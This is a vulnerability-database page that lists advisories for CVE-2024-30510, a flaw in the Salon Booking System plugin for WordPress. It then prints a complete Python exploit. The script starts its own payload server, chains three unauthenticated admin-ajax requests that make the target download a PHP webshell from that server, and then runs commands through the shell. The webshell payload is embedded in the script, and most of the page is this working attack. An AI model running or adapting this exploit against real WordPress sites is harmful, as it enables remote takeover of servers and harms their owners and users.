| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| WordPress Plugin Salon booking system 代码问题漏洞 | 29 Mar 202400:00 | – | cnnvd | |
| CVE-2024-30510 | 29 Mar 202413:36 | – | cve | |
| CVE-2024-30510 WordPress Salon booking system plugin <= 9.5 - Arbitrary File Upload vulnerability | 29 Mar 202413:36 | – | cvelist | |
| EUVD-2024-28430 | 3 Oct 202520:07 | – | euvd | |
| CVE-2024-30510 | 29 Mar 202414:15 | – | nvd | |
| CVE-2024-30510 | 29 Mar 202414:15 | – | osv | |
| WordPress Salon booking system Plugin <= 9.5 is vulnerable to Arbitrary File Upload | 28 Mar 202400:00 | – | patchstack | |
| PT-2024-23438 · Unknown · Salon Booking System | 29 Mar 202400:00 | – | ptsecurity | |
| CVE-2024-30510 | 5 Feb 202509:38 | – | redhatcve | |
| CVE-2024-30510 WordPress Salon booking system plugin <= 9.5 - Arbitrary File Upload vulnerability | 29 Mar 202413:36 | – | vulnrichment |
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Salon Booking System <= 9.5 - Unauthenticated Arbitrary File Upload to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <[email protected]> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/salon-booking-system/
# Software Link: https://downloads.wordpress.org/plugin/salon-booking-system.9.4.zip
# Version: 9.4 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-30510
"""CVE-2024-30510 — Salon Booking System <= 9.5 — Unauthenticated Arbitrary File Upload -> RCE
Blackbox HTTP exploit against a real WordPress + Salon Booking System install.
Root cause:
- admin-ajax action `salon` is registered for nopriv (src/SLN/Action/Init.php:415) and the
dispatcher SLN_Plugin::ajax() has its nonce check COMMENTED OUT (src/SLN/Plugin.php:220),
then instantiates SLN_Action_Ajax_<method> from $_REQUEST['method'] with no capability check.
- method=importAssistants -> SLN_Action_Ajax_ImportAssistants, a 3-step CSV "import assistants"
flow (start -> matching -> process). On `process`, for a row whose mapped `image_url` field
is set, the handler does file_get_contents($image_url) then fwrite() into the uploads dir
using basename($image_url) as the filename, with NO extension/MIME validation
(src/SLN/Action/Ajax/ImportAssistants.php ~L111-121). A `.php` URL yields a webshell.
The import state is kept in a site-wide transient, so the 3 unauthenticated requests chain
without any cookie/session.
Usage:
python3 CVE-2024-30510_salon-booking.py --target http://localhost:8090 --lhost host.docker.internal
"""
import argparse, threading, http.server, socketserver, time, sys, datetime, urllib.parse
import requests
requests.packages.urllib3.disable_warnings()
TOKEN = "SALON_PWNED_30510"
SHELL = ("<?php echo '%s'; if(isset($_GET['c'])) system($_GET['c']); "
"echo ' phpuser='.get_current_user(); ?>" % TOKEN).encode()
class PayloadHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(SHELL)))
self.end_headers()
self.wfile.write(SHELL)
def log_message(self, *a): pass
def start_server(port):
socketserver.TCPServer.allow_reuse_address = True
httpd = socketserver.TCPServer(("0.0.0.0", port), PayloadHandler)
threading.Thread(target=httpd.serve_forever, daemon=True).start()
return httpd
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--lhost", required=True, help="address the target uses to reach us (e.g. host.docker.internal)")
ap.add_argument("--lport", type=int, default=8902)
ap.add_argument("--shell-name", default="salon_shell.php")
ap.add_argument("--cmd", default="id")
args = ap.parse_args()
base = args.target.rstrip("/")
ajax = base + "/wp-admin/admin-ajax.php"
print(f"[*] Target: {base}")
print(f"[*] Payload server on 0.0.0.0:{args.lport} (target reaches it at {args.lhost}:{args.lport})")
httpd = start_server(args.lport)
time.sleep(0.4)
shell_url = f"http://{args.lhost}:{args.lport}/{args.shell_name}"
# CSV: header row defines columns 'name' and 'image_url'; data row carries the payload URL
csv = f"name,image_url\nlab-assistant,{shell_url}\n"
# --- Step 1: start (multipart upload of the CSV) ---
print("[*] Step 1/3 -> step=start (upload CSV defining image_url column)")
r1 = requests.post(ajax,
data={"action": "salon", "method": "importAssistants", "step": "start"},
files={"file": ("import.csv", csv, "text/csv")},
timeout=30, verify=False)
print(f" HTTP {r1.status_code} :: {r1.text[:160]}")
# --- Step 2: matching (map plugin fields -> CSV columns) ---
form = urllib.parse.urlencode({
"import_matching[name]": "name",
"import_matching[image_url]": "image_url",
})
print("[*] Step 2/3 -> step=matching (map image_url -> image_url column)")
r2 = requests.post(ajax,
data={"action": "salon", "method": "importAssistants", "step": "matching", "form": form},
timeout=30, verify=False)
print(f" HTTP {r2.status_code} :: {r2.text[:160]}")
# --- Step 3: process (triggers file_get_contents + fwrite of the payload) ---
print("[*] Step 3/3 -> step=process (fetch image_url + write to uploads)")
r3 = requests.post(ajax,
data={"action": "salon", "method": "importAssistants", "step": "process"},
timeout=30, verify=False)
print(f" HTTP {r3.status_code} :: {r3.text[:160]}")
# webshell lands in uploads/<YYYY>/<MM>/<name>
now = datetime.datetime.now(datetime.timezone.utc)
candidates = [
f"/wp-content/uploads/{now.year}/{now.month:02d}/{args.shell_name}",
f"/wp-content/uploads/{args.shell_name}",
]
print("[*] Verifying webshell (blackbox RCE check)...")
for path in candidates:
try:
rr = requests.get(base + path, params={"c": args.cmd}, timeout=15, verify=False)
except Exception as e:
print(f" {path} -> error {e}"); continue
if TOKEN in rr.text:
print(f"\n[+] RCE CONFIRMED — webshell at {path}")
print(f"[+] `{args.cmd}` output:\n{'-'*50}\n{rr.text.strip()}\n{'-'*50}")
httpd.shutdown(); return 0
print(f" {path} -> HTTP {rr.status_code} (no marker)")
print("\n[-] Could not confirm the webshell (check allow_url_fopen / uploads path).")
httpd.shutdown(); return 1
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation